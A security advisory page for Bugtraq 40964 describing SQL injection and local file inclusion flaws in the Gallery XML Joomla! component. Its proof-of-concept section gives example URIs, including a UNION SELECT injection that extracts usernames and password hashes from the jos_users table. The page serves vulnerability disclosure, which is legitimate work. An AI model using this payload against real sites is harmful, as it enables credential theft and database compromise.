Gallery XML Joomla! Component SQL Injection and Local File Include Vulnerabilities

BID:40964

Info

Gallery XML Joomla! Component SQL Injection and Local File Include Vulnerabilities

Bugtraq ID: 40964
Class: Input Validation Error
CVE:
Remote: Yes
Local: No
Published: Jun 18 2010 12:00AM
Updated: Jul 05 2010 06:37PM
Credit: jdc
Vulnerable: XML/SWF Gallery XML 1.1
XML/SWF Gallery XML 0
Not Vulnerable:

Discussion

Gallery XML Joomla! Component SQL Injection and Local File Include Vulnerabilities

The Gallery XML Joomla! component is prone to an SQL-injection vulnerability and a local file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker can exploit these vulnerabilities to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database; by using directory-traversal strings to execute local script code in the context of the application, the attacker may be able to obtain sensitive information that may aid in further attacks.

Exploit / POC

Gallery XML Joomla! Component SQL Injection and Local File Include Vulnerabilities

Attackers can use a browser to exploit these issues.

The following example URIs are available:

http://www.example.com/index.php?option=com_galleryxml&controller=[LFI]&task=catpics&gcatid=1
http://www.example.com/index.php?option=com_galleryxml&controller=galpic&task=catpics&gcatid=-1 union select 1,2,3,4,5,6,concat(username,char(32),password),8,9,10,11,12 from jos_users -- '

Solution / Fix

Gallery XML Joomla! Component SQL Injection and Local File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

Gallery XML Joomla! Component SQL Injection and Local File Include Vulnerabilities

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report